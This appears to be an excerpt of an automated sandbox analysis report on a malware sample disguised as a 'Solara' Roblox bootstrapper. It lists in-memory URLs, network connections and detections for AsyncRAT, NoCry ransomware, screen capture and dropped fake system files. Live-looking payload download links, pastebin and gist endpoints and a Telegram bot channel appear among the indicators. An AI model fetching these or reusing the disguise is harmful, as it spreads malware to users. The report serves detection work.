Source: powershell.exe, 00000005.00000002.2102713604.000001D465B69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2167165138.0000020026149000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2290083728.000001DA64E48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2442020848.00000201ACD28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF43D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2102713604.000001D465941000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E5E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2167165138.0000020025F21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2290083728.000001DA64C21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2442020848.00000201ACB01000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2102713604.000001D465B69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2167165138.0000020026149000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2290083728.000001DA64E48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2442020848.00000201ACD28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000016.00000002.2442020848.00000201ACD28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000D.00000002.2253701366.000002003E734000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.c
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.nodejs.org
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF54D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://79c62fd6.solaraweb-alj.pages.dev
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://79c62fd6.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://79c62fd6.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip
Source: powershell.exe, 00000005.00000002.2102713604.000001D465941000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2167165138.0000020025F21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2290083728.000001DA64C21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2442020848.00000201ACB01000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: 8svMXMXNRn.exe, 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000000.2035830040.00000247BD6F2000.00000002.00000001.01000000.0000000A.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://aka.ms/vs/17/release/vc_redist.x64.exe
Source: 8svMXMXNRn.exe, 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV21.exe, 00000002.00000000.2035345072.0000000000752000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://clientsettings.roblox.com
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E622000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6C4000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live
Source: powershell.exe, 00000016.00000002.2617353264.00000201BCB74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000016.00000002.2617353264.00000201BCB74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000016.00000002.2617353264.00000201BCB74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF3B1000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E551000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://discord.com
Source: 8svMXMXNRn.exe, 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000000.2035830040.00000247BD6F2000.00000002.00000001.01000000.0000000A.sdmp, BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://discord.com;http://127.0.0.1:6463/rpc?v=11
Source: svchost.exe, 0000001F.00000003.3606100140.0000014635723000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000001F.00000003.3606100140.00000146356B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF44E000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF521000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF43D000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E64E000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E5E4000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E5FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getsolara.dev
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF521000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF4BA000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E64E000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://getsolara.dev/api/endpoint.json
Source: 8svMXMXNRn.exe, 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000000.2035830040.00000247BD6F2000.00000002.00000001.01000000.0000000A.sdmp String found in binary or memory: https://getsolara.dev/api/endpoint.jsonChttps://pastebin.com/raw/ZESVzSgK
Source: 8svMXMXNRn.exe, 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF3B1000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000000.2035830040.00000247BD6F2000.00000002.00000001.01000000.0000000A.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E551000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E563000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://getsolara.dev/asset/discord.json
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gist.githubusercontent.com/typeshi12/072784a0d3a602ed441a435d04c943b6/raw
Source: BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://gist.githubusercontent.com/typeshi12/072784a0d3a602ed441a435d04c943b6/rawChttps://pastebin.c
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E551000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://gist.githubusercontent.com/typeshi12/29ef3a44a19235b08aaf229631c024d8/raw
Source: powershell.exe, 00000016.00000002.2442020848.00000201ACD28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.2122316030.000001D47DCB8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://go.microsoft.co
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6C0000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E669000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ncs.roblox.com/upload
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nodejs.org
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6BC000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E669000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi
Source: powershell.exe, 00000005.00000002.2118096671.000001D4759B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2239684781.0000020035F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2379557085.000001DA74C95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2617353264.00000201BCB74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF4BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://pastebin.com
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF4BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://pastebin.com/raw/ZESVzSgK
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://pastebin.com/raw/pjseRvyK
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E622000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6C4000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://synapsexdocs.github.io/custom-lua-functions/console-functions/)
Source: BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.nodejs.org
Source: 8svMXMXNRn.exe, 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000000.2035830040.00000247BD6F2000.00000002.00000001.01000000.0000000A.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://www.nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi
Source: 8svMXMXNRn.exe, 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000000.2035830040.00000247BD6F2000.00000002.00000001.01000000.0000000A.sdmp, BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.66.44.59:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 128.116.44.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.20.23.46:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49999 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 2.2.BootstrapperV21.exe.1b4c0000.3.raw.unpack, RemoteDesktop.cs .Net Code: GetScreen

Spam, unwanted Advertisements and Ransom Demands
barindex
Yara detected NoCry Ransomware
Source: Yara match File source: Process Memory Space: BootstrapperV21.exe PID: 6524, type: MEMORYSTR

Operating System Destruction
barindex
Protects its processes via BreakOnTermination flag
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process information set: 01 00 00 00 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Process information set: 01 00 00 00

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 2.0.BootstrapperV21.exe.750000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.2035345072.0000000000752000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\explorer.exe, type: DROPPED Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe, type: DROPPED Matched rule: Detects AsyncRAT Author: ditekSHen
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process Stats: CPU usage > 49%
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Code function: 34_2_00007FF848C50A5A NtSetInformationProcess, 34_2_00007FF848C50A5A
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Code function: 39_2_00000207DE5869B2 NtQuerySystemInformation, 39_2_00000207DE5869B2
Contains functionality to communicate with device drivers
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF63739C2F0: CreateFileW,CloseHandle,wcscpy,wcscpy,wcscpy,wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 0_2_00007FF63739C2F0
Creates files inside the system directory
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Detected potential crypto function
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF63739F930 0_2_00007FF63739F930
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373A4928 0_2_00007FF6373A4928
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C0754 0_2_00007FF6373C0754
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B3484 0_2_00007FF6373B3484
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373AA4AC 0_2_00007FF6373AA4AC
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373BB190 0_2_00007FF6373BB190
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373BCE88 0_2_00007FF6373BCE88
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B1F20 0_2_00007FF6373B1F20
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF637395E24 0_2_00007FF637395E24
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF637394840 0_2_00007FF637394840
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373CC838 0_2_00007FF6373CC838
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373976C0 0_2_00007FF6373976C0
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373D2550 0_2_00007FF6373D2550
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373AB534 0_2_00007FF6373AB534
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B53F0 0_2_00007FF6373B53F0
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF637397288 0_2_00007FF637397288
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373A126C 0_2_00007FF6373A126C
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF63739A310 0_2_00007FF63739A310
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF63739C2F0 0_2_00007FF63739C2F0
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373AF180 0_2_00007FF6373AF180
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B21D0 0_2_00007FF6373B21D0
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373D2080 0_2_00007FF6373D2080
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373AAF18 0_2_00007FF6373AAF18
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B2D58 0_2_00007FF6373B2D58
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C0754 0_2_00007FF6373C0754
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B8DF4 0_2_00007FF6373B8DF4
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373ABB90 0_2_00007FF6373ABB90
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B4B98 0_2_00007FF6373B4B98
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373A5B60 0_2_00007FF6373A5B60
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C8C1C 0_2_00007FF6373C8C1C
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373CFA94 0_2_00007FF6373CFA94
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF637391AA4 0_2_00007FF637391AA4
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B2AB0 0_2_00007FF6373B2AB0
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373A1A48 0_2_00007FF6373A1A48
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373D5AF8 0_2_00007FF6373D5AF8
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C89A0 0_2_00007FF6373C89A0
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373B3964 0_2_00007FF6373B3964
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373AC96C 0_2_00007FF6373AC96C
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C491A6 2_2_00007FF848C491A6
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C432E9 2_2_00007FF848C432E9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C50D0A 2_2_00007FF848C50D0A
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C416D9 2_2_00007FF848C416D9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C4DE30 2_2_00007FF848C4DE30
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C49F52 2_2_00007FF848C49F52
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C4DBC0 2_2_00007FF848C4DBC0
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C50EB6 2_2_00007FF848C50EB6
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C420BD 2_2_00007FF848C420BD
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C37470 3_2_00007FF848C37470
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C45D53 3_2_00007FF848C45D53
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C4250D 3_2_00007FF848C4250D
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C48F30 3_2_00007FF848C48F30
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C34260 3_2_00007FF848C34260
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Code function: 8_2_00007FF848C47140 8_2_00007FF848C47140
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Code function: 8_2_00007FF848C37270 8_2_00007FF848C37270
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Code function: 8_2_00007FF848C37390 8_2_00007FF848C37390
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Code function: 8_2_00007FF848C42E2A 8_2_00007FF848C42E2A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_00007FF848D030E9 20_2_00007FF848D030E9
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 27_2_00007FF848C416D9 27_2_00007FF848C416D9
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 27_2_00007FF848C420BD 27_2_00007FF848C420BD
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 27_2_00007FF848C40E78 27_2_00007FF848C40E78
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 28_2_00007FF848C516D9 28_2_00007FF848C516D9
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 28_2_00007FF848C520BD 28_2_00007FF848C520BD
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 28_2_00007FF848C50E78 28_2_00007FF848C50E78
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 29_2_00007FF848C216EB 29_2_00007FF848C216EB
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 29_2_00007FF848C220BD 29_2_00007FF848C220BD
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 29_2_00007FF848C20E78 29_2_00007FF848C20E78
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 30_2_00007FF848C516D9 30_2_00007FF848C516D9
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 30_2_00007FF848C520BD 30_2_00007FF848C520BD
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 30_2_00007FF848C50E78 30_2_00007FF848C50E78
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 32_2_00007FF848C316EB 32_2_00007FF848C316EB
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 32_2_00007FF848C320BD 32_2_00007FF848C320BD
Source: C:\Users\user\AppData\Roaming\explorer.exe Code function: 32_2_00007FF848C30E78 32_2_00007FF848C30E78
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DC6294 33_2_00007FF789DC6294
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DD09D8 33_2_00007FF789DD09D8
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DCECE0 33_2_00007FF789DCECE0
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DBDC4C 33_2_00007FF789DBDC4C
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DBA8AC 33_2_00007FF789DBA8AC
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DD400C 33_2_00007FF789DD400C
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DB72AC 33_2_00007FF789DB72AC
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DCCA30 33_2_00007FF789DCCA30
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DE59E0 33_2_00007FF789DE59E0
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DD400C 33_2_00007FF789DD400C
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DBB948 33_2_00007FF789DBB948
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DBE91C 33_2_00007FF789DBE91C
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DE5510 33_2_00007FF789DE5510
